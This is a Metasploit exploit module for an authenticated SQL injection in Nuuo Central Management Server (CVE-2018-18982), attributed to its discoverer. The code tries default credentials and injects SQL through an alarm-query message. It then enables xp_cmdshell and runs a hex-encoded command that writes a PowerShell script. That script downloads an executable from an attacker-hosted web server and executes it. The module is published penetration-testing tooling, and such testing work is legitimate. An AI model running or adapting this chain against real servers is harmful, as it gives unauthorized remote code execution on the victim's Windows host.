##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::Nuuo
include Msf::Exploit::Remote::HttpServer
def initialize(info={})
super(update_info(info,
'Name' => 'Nuuo Central Management Authenticated SQL Server SQLi',
'Description' => %q{
The Nuuo Central Management Server allows an authenticated user to query the state of the alarms.
This functionality can be abused to inject SQL into the query. As SQL Server 2005 Express is
installed by default, xp_cmdshell can be enabled and abused to achieve code execution.
This module will either use a provided session number (which can be guessed with an auxiliary
module) or attempt to login using a provided username and password - it will also try the
default credentials if nothing is provided.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'CVE', '2018-18982' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt' ]
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Stance' => Msf::Exploit::Stance::Aggressive, # we need this to run in the foreground
'Targets' =>
[
[ 'Nuuo Central Management Server <= v2.10.0', {} ],
],
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK ]
},
'Privileged' => false, # we run as NETWORK_SERVICE
'DisclosureDate' => 'Oct 11 2018',
'DefaultTarget' => 0))
register_options [
Opt::RPORT(5180),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]),
OptString.new('URIPATH', [true, 'The URI to use for this exploit', "/#{rand_text_alpha(8..10)}"])
]
end
def inject_sql(sql, final = false)
sql = ['GETOPENALARM',"DeviceID: #{rand_text_numeric(4)}","SourceServer: ';#{sql};-- ","LastOne: #{rand_text_numeric(4)}"]
if final
nucs_send_msg_async(sql)
else
nucs_send_msg(sql)
end
end
# Handle incoming requests from the server
def on_request_uri(cli, request)
unless @pl
print_error("A request came in, but the payload wasn't ready yet!")
return
end
print_good('Sending the payload to CMS...')
send_response(cli, @pl)
Rex.sleep(3)
print_status('Executing shell...')
inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{@filename}\""), true)
register_file_for_cleanup("c:/windows/temp/#{@filename}")
end
def create_hex_cmd(cmd)
var = rand_text_alpha(2)
hex_cmd = "declare @#{var} varchar(8000); select @#{var}=0x"
cmd.each_byte { |b|
hex_cmd << b.to_i.to_s(16)
}
hex_cmd << "; exec (@#{var})"
end
def primer
# we need to roll our own here instead of using the MSSQL mixins
# (tried that and it doesn't work)
service_url = "http://#{srvhost_addr}:#{srvport}#{datastore['URIPATH']}"
print_status("Enabling xp_cmdshell and asking CMS to download and execute #{service_url}")
@filename = "#{rand_text_alpha_lower(8..10)}.exe"
ps1 = "#{rand_text_alpha_lower(8..10)}.ps1"
download_pl = %{xp_cmdshell }
download_pl << %{'cd C:\\windows\\temp\\ && }
download_pl << %{echo $webclient = New-Object System.Net.WebClient >> #{ps1} && }
download_pl << %{echo $url = "#{service_url}" >> #{ps1} && }
download_pl << %{echo $file = "#{@filename}" >> #{ps1} && }
download_pl << %{echo $webclient.DownloadFile($url,$file) >> #{ps1} && }
download_pl << %{powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File #{ps1}'}
print_status('Injecting PowerShell payload')
inject_sql("exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd(download_pl))
register_file_for_cleanup("c:/windows/temp/#{ps1}")
end
def exploit
nucs_login
unless @nucs_session
fail_with(Failure::Unknown, 'Failed to login to Nuuo CMS')
end
@pl = generate_payload_exe
#do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
begin
Timeout.timeout(datastore['HTTPDELAY']) {super}
rescue Timeout::Error
datastore['SSL'] = true if ssl_restore
end
end
end
